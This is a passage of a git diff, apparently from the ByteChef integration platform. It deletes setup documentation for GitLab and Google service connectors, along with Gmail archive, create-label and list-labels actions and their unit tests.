-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
-
-To find the Issue ID, click [here](/reference/components/gitlab_v1#how-to-find-the-issue-id).
diff --git a/server/libs/modules/components/gitlab/src/main/resources/createIssue.mdx b/server/libs/modules/components/gitlab/src/main/resources/createIssue.mdx
deleted file mode 100644
index a5cdecd01f6..00000000000
--- a/server/libs/modules/components/gitlab/src/main/resources/createIssue.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find Project ID
-
-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
diff --git a/server/libs/modules/components/gitlab/src/main/resources/newIssue.mdx b/server/libs/modules/components/gitlab/src/main/resources/newIssue.mdx
deleted file mode 100644
index a5cdecd01f6..00000000000
--- a/server/libs/modules/components/gitlab/src/main/resources/newIssue.mdx
+++ /dev/null
@@ -1,3 +0,0 @@
-#### Find Project ID
-
-To find the Project ID, click [here](/reference/components/gitlab_v1#how-to-find-the-project-id).
diff --git a/server/libs/modules/components/google/google-bigquery/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-bigquery/src/main/resources/connection.mdx
deleted file mode 100644
index 5fabe6ce387..00000000000
--- a/server/libs/modules/components/google/google-bigquery/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,17 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable BigQuery API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Click on **APIs & Services**.
-3. Enter **bigquery** into search bar and press enter.
-4. Click on **BigQuery API**.
-5. Click on **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/1a93fe01-973c-4185-97c1-073b2cb03d1c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-calendar/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-calendar/src/main/resources/connection.mdx
deleted file mode 100644
index ae05bb63826..00000000000
--- a/server/libs/modules/components/google/google-calendar/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Calendar API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "calendar" in the search bar.
-5. Click on **Google Calendar API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/c1fe8158-a72f-45ed-942e-c1bab5802afa?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-chat/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-chat/src/main/resources/connection.mdx
deleted file mode 100644
index 6be3d58e53a..00000000000
--- a/server/libs/modules/components/google/google-chat/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Chat API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google chat api" in the search bar.
-5. Click on **Google Chat API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4840c5c7-bb9a-4c7d-8035-772d3162398a?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-contacts/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-contacts/src/main/resources/connection.mdx
deleted file mode 100644
index 916e4e28f84..00000000000
--- a/server/libs/modules/components/google/google-contacts/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Contacts API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "contacts api" in the search bar.
-5. Click on **Contacts API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0273c3ce-b963-45c0-b7f9-25e893ef060c?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-docs/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-docs/src/main/resources/connection.mdx
deleted file mode 100644
index 7b6259f4adb..00000000000
--- a/server/libs/modules/components/google/google-docs/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Docs API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google docs api" in the search bar.
-5. Click on **Google Docs API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height: 0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)' }}>
-    <iframe src="https://www.guidejar.com/embed/2fbfa39b-38f6-43f4-a55d-6f8d0588f6fb?type=1&controls=on" width="100%" height="100%" style={{ position: 'absolute', inset: 0 }} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-drive/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-drive/src/main/resources/connection.mdx
deleted file mode 100644
index c606b7fc8c4..00000000000
--- a/server/libs/modules/components/google/google-drive/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Drive API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google drive api" in the search bar.
-5. Click on **Google Drive API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/4e69ce7b-c430-443c-801c-b01ea2781c39?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-forms/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-forms/src/main/resources/connection.mdx
deleted file mode 100644
index 887c3a3a1c4..00000000000
--- a/server/libs/modules/components/google/google-forms/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Google Forms API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "google forms api" in the search bar.
-5. Click on **Google Forms API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/6O0wffw3j1b6d9hcAxOy?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailAction.java b/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailAction.java
deleted file mode 100644
index b94017e4975..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailAction.java
+++ /dev/null
@@ -1,81 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ID;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.LABEL_IDS;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ME;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.THREAD_ID;
-import static com.bytechef.google.commons.GoogleUtils.translateGoogleIOException;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.google.commons.GoogleServices;
-import com.google.api.services.gmail.Gmail;
-import com.google.api.services.gmail.model.Message;
-import com.google.api.services.gmail.model.ModifyMessageRequest;
-import java.io.IOException;
-import java.util.List;
-
-/**
- * @author Ivona Pavela
- */
-public class GoogleMailArchiveEmailAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("archiveEmail")
-        .title("Archive Email")
-        .description("Archive an Email message.")
-        .properties(
-            string(ID)
-                .label("Message ID")
-                .description("ID of the message to be archived.")
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string(ID)
-                            .description("The ID of the message."),
-                        string(THREAD_ID)
-                            .description("The ID of the thread the message belongs to."),
-                        array(LABEL_IDS)
-                            .description("List of IDs of labels applied to this message.")
-                            .items(string()))))
-        .perform(GoogleMailArchiveEmailAction::perform);
-
-    public static Message perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Gmail gmail = GoogleServices.getMail(connectionParameters);
-
-        try {
-            return gmail.users()
-                .messages()
-                .modify(
-                    ME,
-                    inputParameters.getRequiredString(ID),
-                    new ModifyMessageRequest().setRemoveLabelIds(List.of("INBOX")))
-                .execute();
-        } catch (IOException e) {
-            throw translateGoogleIOException(e);
-        }
-    }
-}
diff --git a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelAction.java b/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelAction.java
deleted file mode 100644
index 47e03173436..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelAction.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ID;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ME;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.NAME;
-import static com.bytechef.google.commons.GoogleUtils.translateGoogleIOException;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.google.commons.GoogleServices;
-import com.google.api.services.gmail.Gmail;
-import com.google.api.services.gmail.model.Label;
-import java.io.IOException;
-
-/**
- * @author Ivona Pavela
- */
-public class GoogleMailCreateLabelAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("createLabel")
-        .title("Create Label")
-        .description("Creates a new label.")
-        .properties(
-            string(NAME)
-                .label("Name")
-                .description("The display name of the newly created label.")
-                .minLength(1)
-                .maxLength(255)
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string(ID)
-                            .description("ID of the newly created label."),
-                        string("labelListVisibility")
-                            .description("The visibility of the label in the label list in the Gmail web interface."),
-                        string("messageListVisibility")
-                            .description(
-                                "The visibility of messages with this label in the message list in the Gmail web interface."),
-                        string(NAME)
-                            .description("The display name of the label."))))
-        .perform(GoogleMailCreateLabelAction::perform);
-
-    public static Label perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Gmail gmail = GoogleServices.getMail(connectionParameters);
-
-        Label label = new Label()
-            .setName(inputParameters.getRequiredString(NAME))
-            .setLabelListVisibility("labelShow")
-            .setMessageListVisibility("show");
-
-        try {
-            return gmail.users()
-                .labels()
-                .create(ME, label)
-                .execute();
-        } catch (IOException e) {
-            throw translateGoogleIOException(e);
-        }
-    }
-}
diff --git a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsAction.java b/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsAction.java
deleted file mode 100644
index de8ea2aad47..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsAction.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.google.mail.util.GoogleMailUtils;
-import com.google.api.services.gmail.model.Label;
-import java.util.List;
-
-/**
- * @author Nikolina Špehar
- */
-public class GoogleMailListLabelsAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("listLabels")
-        .title("List Labels")
-        .description("Lists labels that are connected to your Google Mail account.")
-        .output(
-            outputSchema(
-                array()
-                    .description("List of all labels in the user's mailbox.")
-                    .items(
-                        object()
-                            .description("Label object containing 'name' and 'id'.")
-                            .properties(
-                                string("name")
-                                    .description("The display name of the label."),
-                                string("id")
-                                    .description("ID of the label."),
-                                string("messageListVisibility")
-                                    .description(
-                                        "The visibility of messages with this label in the message list in the Gmail " +
-                                            "web interface."),
-                                string("labelListVisibility")
-                                    .description(
-                                        "The visibility of the label in the label list in the Gmail web interface."),
-                                string("type")
-                                    .description("The owner type for the label.")))))
-        .perform(GoogleMailListLabelsAction::perform);
-
-    private GoogleMailListLabelsAction() {
-    }
-
-    public static List<Label> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        return GoogleMailUtils.getLabels(connectionParameters);
-    }
-}
diff --git a/server/libs/modules/components/google/google-mail/src/main/resources/connection.mdx b/server/libs/modules/components/google/google-mail/src/main/resources/connection.mdx
deleted file mode 100644
index 3367abce2a1..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,18 +0,0 @@
-## Connection Setup
-
-### Create OAuth 2.0 Application
-
-Creation of OAuth 2.0 application is documented [here](/reference/components/google-application-setup_v1#create-oauth-20-application).
-
-### Enable Gmail API
-
-1. In the [Google Cloud Console](https://console.cloud.google.com/), select your project.
-2. Go to the **APIs & Services**.
-3. Click on **ENABLE APIS AND SERVICES**.
-4. Search for "gmail api" in the search bar.
-5. Click on **Gmail API**.
-6. Click **Enable**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/2d7279c7-91c3-43c9-9004-99f08d7e30ff?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-mail/src/main/resources/newEmail.mdx b/server/libs/modules/components/google/google-mail/src/main/resources/newEmail.mdx
deleted file mode 100644
index 2b39a9c3ea0..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/resources/newEmail.mdx
+++ /dev/null
@@ -1,31 +0,0 @@
-### New Email Trigger Setup
-
-Setting up Pub/Sub service
-
-1. Deploy project that has **New Mail Trigger**.
-2. Click this icon to copy the static webhook URL.
-3. In search bar enter "pub/sub".
-4. Click on **Pub/Sub**.
-5. Click on **Create topic**.
-6. Enter your topic name.
-7. Click on **Create**.
-8. Click on **Subscriptions**.
-9. Click on your automatically created subscription.
-10. Click on **Edit**.
-11. Select **Push**.
-12. Click on **Endpoint URL** and paste previously copied URL.
-13. Select **Never expire**.
-14. Click on **Update**.
-15. Click on **Topics**.
-16. Click here.
-17. Click on **Add principal**.
-18. Add **gmail-api-push@system.gserviceaccount.com** as new principal.
-19. Click here.
-20. Click on **Pub/Sub Publisher**.
-21. Click on **Save**.
-22. Click on **MyTopic**.
-23. This is your **topic name**.
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/934ccb3b-1052-440e-bcfa-9cd5d27b8a91?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-mail/src/main/resources/newEmailPolling.mdx b/server/libs/modules/components/google/google-mail/src/main/resources/newEmailPolling.mdx
deleted file mode 100644
index 8bb4a129cd2..00000000000
--- a/server/libs/modules/components/google/google-mail/src/main/resources/newEmailPolling.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-### New Email Pooling Trigger Setup
-
-Turning on Google Calendar API
-
-Gmail doesn’t manage its own time zone; it inherits the time zone from your Google Calendar settings, so we rely on the Calendar API to resolve times correctly.
-
-1. Go to the [Google Cloud Console](https://console.cloud.google.com/).
-2. Click on **APIs & Services**.
-3. In search bar enter "Google Calendar API".
-4. Click on **Google Calendar API**.
-5. Click on **Enable**.
-6. Done 🚀
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zindex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/157feabc-9dec-4ac4-a538-5aa6a0bb0928?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0}} allowFullScreen frameBorder="0"></iframe>
-</div>
diff --git a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailActionTest.java b/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailActionTest.java
deleted file mode 100644
index 58e17641222..00000000000
--- a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailArchiveEmailActionTest.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ID;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ME;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import com.bytechef.google.commons.GoogleServices;
-import com.google.api.services.gmail.Gmail;
-import com.google.api.services.gmail.model.Message;
-import com.google.api.services.gmail.model.ModifyMessageRequest;
-import java.io.IOException;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Ivona Pavela
- */
-class GoogleMailArchiveEmailActionTest {
-
-    private final Gmail mockedGmail = mock(Gmail.class);
-    private final Gmail.Users.Messages mockedMessages = mock(Gmail.Users.Messages.class);
-    private final Gmail.Users mockedUsers = mock(Gmail.Users.class);
-    private final Message mockedMessage = mock(Message.class);
-    private final Gmail.Users.Messages.Modify mockedModify = mock(Gmail.Users.Messages.Modify.class);
-    private final ArgumentCaptor<Parameters> parametersArgumentCaptor = forClass(Parameters.class);
-    private final ArgumentCaptor<ModifyMessageRequest> requestArgumentCaptor = forClass(ModifyMessageRequest.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() throws IOException {
-        Parameters parameters = MockParametersFactory.create(Map.of(ID, "1"));
-
-        try (MockedStatic<GoogleServices> googleServicesMockedStatic = mockStatic(GoogleServices.class)) {
-            googleServicesMockedStatic.when(() -> GoogleServices.getMail(parametersArgumentCaptor.capture()))
-                .thenReturn(mockedGmail);
-            when(mockedGmail.users())
-                .thenReturn(mockedUsers);
-            when(mockedUsers.messages())
-                .thenReturn(mockedMessages);
-            when(mockedMessages.modify(
-                stringArgumentCaptor.capture(), stringArgumentCaptor.capture(), requestArgumentCaptor.capture()))
-                    .thenReturn(mockedModify);
-            when(mockedModify.execute())
-                .thenReturn(mockedMessage);
-
-            Message result = GoogleMailArchiveEmailAction.perform(parameters, parameters, mock(ActionContext.class));
-
-            assertEquals(mockedMessage, result);
-            assertEquals(parameters, parametersArgumentCaptor.getValue());
-            assertEquals(List.of(ME, "1"), stringArgumentCaptor.getAllValues());
-
-            ModifyMessageRequest expectedModifyMessageRequest = new ModifyMessageRequest()
-                .setRemoveLabelIds(List.of("INBOX"));
-
-            assertEquals(expectedModifyMessageRequest, requestArgumentCaptor.getValue());
-        }
-    }
-}
diff --git a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelActionTest.java b/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelActionTest.java
deleted file mode 100644
index 2fd1fde378f..00000000000
--- a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailCreateLabelActionTest.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.ME;
-import static com.bytechef.component.google.mail.constant.GoogleMailConstants.NAME;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import com.bytechef.google.commons.GoogleServices;
-import com.google.api.services.gmail.Gmail;
-import com.google.api.services.gmail.Gmail.Users;
-import com.google.api.services.gmail.Gmail.Users.Labels;
-import com.google.api.services.gmail.model.Label;
-import java.io.IOException;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Ivona Pavela
- */
-class GoogleMailCreateLabelActionTest {
-
-    private final ArgumentCaptor<Label> labelArgumentCaptor = forClass(Label.class);
-    private final Labels.Create mockedCreate = mock(Labels.Create.class);
-    private final Gmail mockedGmail = mock(Gmail.class);
-    private final Label mockedLabel = mock(Label.class);
-    private final Labels mockedLabels = mock(Labels.class);
-    private final Users mockedUsers = mock(Users.class);
-    private final ArgumentCaptor<Parameters> parametersArgumentCaptor = forClass(Parameters.class);
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() throws IOException {
-        Parameters parameters = MockParametersFactory.create(Map.of(NAME, "test"));
-
-        try (MockedStatic<GoogleServices> googleServicesMockedStatic = mockStatic(GoogleServices.class)) {
-            googleServicesMockedStatic.when(() -> GoogleServices.getMail(parametersArgumentCaptor.capture()))
-                .thenReturn(mockedGmail);
-            when(mockedGmail.users())
-                .thenReturn(mockedUsers);
-            when(mockedUsers.labels())
-                .thenReturn(mockedLabels);
-            when(mockedLabels.create(
-                stringArgumentCaptor.capture(), labelArgumentCaptor.capture()))
-                    .thenReturn(mockedCreate);
-            when(mockedCreate.execute())
-                .thenReturn(mockedLabel);
-
-            Label result = GoogleMailCreateLabelAction.perform(parameters, parameters, mock(ActionContext.class));
-
-            assertEquals(mockedLabel, result);
-            assertEquals(parameters, parametersArgumentCaptor.getValue());
-            assertEquals(List.of(ME), stringArgumentCaptor.getAllValues());
-
-            Label label = new Label().setName("test")
-                .setLabelListVisibility("labelShow")
-                .setMessageListVisibility("show");
-
-            assertEquals(label, labelArgumentCaptor.getValue());
-        }
-    }
-}
diff --git a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsActionTest.java b/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsActionTest.java
deleted file mode 100644
index 87dfd8de2b1..00000000000
--- a/server/libs/modules/components/google/google-mail/src/test/java/com/bytechef/component/google/mail/action/GoogleMailListLabelsActionTest.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.google.mail.action;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.mockStatic;
-
-import com.bytechef.component.definition.ActionContext;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.google.mail.util.GoogleMailUtils;
-import com.google.api.services.gmail.model.Label;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-import org.mockito.MockedStatic;
-
-/**
- * @author Nikolina Spehar
- */
-class GoogleMailListLabelsActionTest {
-
